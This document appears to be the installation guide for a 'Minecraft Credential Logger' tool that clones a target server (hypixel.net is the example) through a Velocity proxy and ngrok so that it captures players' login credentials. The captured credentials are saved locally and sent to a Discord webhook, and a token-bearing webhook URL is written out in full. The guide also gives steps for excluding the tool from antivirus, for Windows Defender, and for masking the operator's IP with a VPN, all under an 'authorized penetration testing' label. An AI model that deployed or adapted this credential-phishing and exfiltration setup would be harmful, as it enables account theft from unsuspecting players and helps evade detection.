This guide will help you set up Minecraft Credential Logger on your system for authorized penetration testing.
- Operating System: Windows 10/11, macOS 10.15+, or Linux (Ubuntu 18.04+)
- Node.js: Version 18.0.0 or higher
- Java: Version 17 or higher (for Velocity proxy)
- RAM: 2GB available memory
- Storage: 1GB free disk space
- Network: Stable internet connection for ngrok tunneling
- Node.js: Latest LTS version (20.x)
- Java: OpenJDK 21 or Oracle JDK 21
- RAM: 4GB+ available memory
- CPU: Multi-core processor for better performance
- Network: 25+ Mbps for optimal tunnel performance
- Download Node.js from nodejs.org
- Run the installer and follow the setup wizard
- Verify installation:
node --version npm --version
# Using Homebrew (recommended)
brew install node
# Or download from nodejs.org and install manually# Update package list
sudo apt update
# Install Node.js via NodeSource repository
curl -fsSL https://deb.nodesource.com/setup_lts.x | sudo -E bash -
sudo apt-get install -y nodejs
# Verify installation
node --version
npm --version- Download OpenJDK from adoptium.net
- Install and add to PATH environment variable
- Verify installation:
java --version
# Using Homebrew (recommended)
brew install openjdk@21
# Add to PATH (add to ~/.zshrc or ~/.bash_profile)
export PATH="/opt/homebrew/opt/openjdk@21/bin:$PATH"
source ~/.zshrc# Ubuntu/Debian
sudo apt update
sudo apt install openjdk-21-jdk
# CentOS/RHEL/Fedora
sudo dnf install java-21-openjdk-devel
# Verify installation
java --version# Clone from GitHub
git clone https://github.com/itsreyi/Minecraft-Credential-Logger.git
# Navigate to project directory
cd Minecraft-Credential-Logger# Install all required Node.js packages
npm installThis will install the following dependencies:
- electron: Desktop application framework (v27.0.0)
- minecraft-protocol: Minecraft server communication library
- axios: HTTP client for Discord webhook integration
The Velocity proxy server and plugins are automatically downloaded on first run. The velocity-server/ directory structure:
velocity-server/
├── velocity.jar # Velocity 3.3.0-436 (auto-downloaded)
├── velocity.toml # Proxy configuration (auto-generated)
├── forwarding.secret # Security key (auto-generated)
├── plugins/ # Plugin directory
│ ├── ViaVersion.jar # Version compatibility (auto-downloaded)
│ └── ViaBackwards.jar # Legacy support (auto-downloaded)
└── logs/ # Runtime logs
└── latest.log # Current session log
For real-time credential notifications:
-
Create Discord Webhook:
- Go to your Discord server settings
- Navigate to Integrations → Webhooks
- Create new webhook and copy the URL
-
Update Configuration:
- Open
minecraft-cloner.jsin a text editor - Find line ~15 in the
DiscordWebhookclass:
this.webhookUrl = 'https://discord.com/api/webhooks/1425884465346908330/2BpSzSOr_DNyPtWsAKkdgolpufhCI0os3nTGZj_ImV3NsQwZoDdRa6vr8xdJsrKbdBSA';
- Replace with your webhook URL
- Set
this.enabled = true;to enable notifications
- Open
For public server access without port forwarding:
# Using Chocolatey
choco install ngrok
# Or download from https://ngrok.com/download# Using Homebrew
brew install ngrok/ngrok/ngrok
# Or download from https://ngrok.com/download# Download and install
curl -s https://ngrok-agent.s3.amazonaws.com/ngrok.asc | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" | sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok# Launch GUI application
npm start
# Development mode with DevTools
npm run dev
# Console-only mode (example)
npm run console hypixel.net 25565Upon first launch, the application should:
- Open GUI Interface: Dark-themed Electron window
- Display Console: System initialization messages
- Show Sidebar: Server configuration panel
- Initialize Components: Velocity auto-download and setup
Expected console output:
[SISTEMA] 🎯 CREDENTIAL LOGGER pronto all'uso
[INFO] Inserisci un server target e clicca "Avvia Cloner"
Error: This version of Node.js requires a newer version
Solution:
- Uninstall old Node.js version
- Install Node.js 18+ from nodejs.org
- Restart terminal/command prompt
'java' is not recognized as an internal or external command
Solution:
- Verify Java installation:
java --version - Add Java to system PATH:
- Windows: System Properties → Environment Variables
- macOS/Linux: Add to shell profile (
.bashrc,.zshrc)
- Restart terminal
Error: EACCES: permission denied, bind
Solution:
- Windows: Run as Administrator
- macOS/Linux: Use
sudofor ports < 1024 or change default port
Error: Failed to download electron
Solution:
- Clear npm cache:
npm cache clean --force - Delete node_modules:
rm -rf node_modules - Reinstall:
npm install --verbose - Alternative registry:
npm install --registry https://registry.npmmirror.com
Error downloading Velocity
Solution:
- Check internet connection
- Verify firewall allows HTTPS connections
- Manual download: Place
velocity.jarinvelocity-server/directory - Restart application
- Antivirus Interference: Add project directory to exclusions
- Windows Defender: May quarantine ngrok - add exception
- PowerShell Policy: Run
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser - Port Conflicts: Check for existing Minecraft servers on port 25565
- Gatekeeper: Allow unknown developer in Security & Privacy
- Homebrew Issues: Update brew:
brew update && brew upgrade - Permission Errors: Grant terminal full disk access in Privacy settings
- Package Dependencies: Install build tools:
# Ubuntu/Debian sudo apt install build-essential python3-dev # CentOS/RHEL sudo dnf groupinstall "Development Tools"
- Firewall: Configure UFW to allow necessary ports
- AppArmor/SELinux: May restrict Java execution
# Allow Node.js
New-NetFirewallRule -DisplayName "Node.js" -Direction Inbound -Program "C:\Program Files\nodejs\node.exe" -Action Allow
# Allow Java
New-NetFirewallRule -DisplayName "Java" -Direction Inbound -Program "C:\Program Files\Java\jdk-21\bin\java.exe" -Action Allow# UFW (Ubuntu)
sudo ufw allow 25565/tcp
sudo ufw allow out 443/tcp
sudo ufw allow out 80/tcp
# iptables
sudo iptables -A INPUT -p tcp --dport 25565 -j ACCEPT
sudo iptables -A OUTPUT -p tcp --dport 443 -j ACCEPTAdd these paths to antivirus exclusions:
- Project Directory: Full path to
Minecraft-Credential-Logger/ - Node.js:
C:\Program Files\nodejs\(Windows) - Java Runtime: Java installation directory
- Velocity JAR:
velocity-server/velocity.jar - ngrok: ngrok installation directory
For authorized penetration testing:
- Use a reputable VPN service
- Connect before launching the application
- Verify IP masking:
curl ipinfo.io - Document testing infrastructure for reporting
After successful installation:
Minecraft-Credential-Logger/
├── assets/
│ └── Logo.png # Application logo (128x128 PNG)
├── renderer/ # Electron frontend
│ ├── index.html # Main GUI interface
│ ├── styles.css # Dark theme CSS
│ └── renderer.js # Frontend JavaScript
├── velocity-server/ # Minecraft proxy (auto-created)
│ ├── velocity.jar # Velocity 3.3.0-436
│ ├── velocity.toml # Proxy configuration
│ ├── forwarding.secret # Security configuration
│ ├── plugins/ # Compatibility plugins
│ │ ├── ViaVersion.jar # Version translation
│ │ └── ViaBackwards.jar # Legacy support
│ └── logs/ # Runtime logs
│ ├── latest.log # Current session
│ └── *.log.gz # Archived logs
├── main.js # Electron main process
├── minecraft-cloner.js # Core cloning engine
├── package.json # Project configuration
├── captured_credentials.json # Credential storage (runtime)
├── README.md # Project documentation
├── INSTALLATION.md # This installation guide
└── WIKI.md # Usage documentation
Run the built-in system check:
# Start application and check console for any warnings
npm start
# Check Java integration
npm run console --version
# Verify dependencies
npm list --depth=0Keep components up to date:
# Update Node.js dependencies
npm update
# Update npm itself
npm install -g npm@latest
# Check for Velocity updates (manual)
# Latest version info at: https://papermc.io/downloads/velocityCreate configuration backups:
# Backup current configuration
cp velocity-server/velocity.toml velocity-server/velocity.toml.backup
# Backup Discord webhook settings
grep -n "webhookUrl" minecraft-cloner.js > webhook-config-backup.txtBefore seeking help, verify:
- Node.js 18+ installed and in PATH
- Java 17+ installed and in PATH
- All dependencies installed (
npm list) - No firewall blocking necessary ports
- Internet connection stable
- Adequate disk space (1GB+)
- No conflicting Minecraft servers running
- Documentation: Read WIKI.md for usage help
- GitHub Issues: Search existing issues or create new one
- System Logs: Check console output and
velocity-server/logs/ - Community: Join discussions for general questions
When creating GitHub issues, include:
**System Information:**
- OS: [Windows 11/macOS 14/Ubuntu 22.04]
- Node.js: [output of `node --version`]
- Java: [output of `java --version`]
- NPM: [output of `npm --version`]
**Error Details:**
- Full error message: [copy exact error]
- Steps to reproduce: [list steps]
- Expected behavior: [what should happen]
- Console output: [relevant logs]
**Additional Context:**
- First time setup or existing installation?
- Any antivirus/firewall software?
- VPN or proxy in use?
- Modified any configuration files?After successful installation:
- Read Usage Guide: See WIKI.md for operational instructions
- Legal Verification: Ensure proper authorization for target testing
- Test Setup: Try with your own Minecraft server first
- Configure Notifications: Set up Discord webhooks if needed
- Security Review: Verify VPN and anonymization tools
Installation Complete! Ready for authorized penetration testing.
For usage instructions, continue to WIKI.md.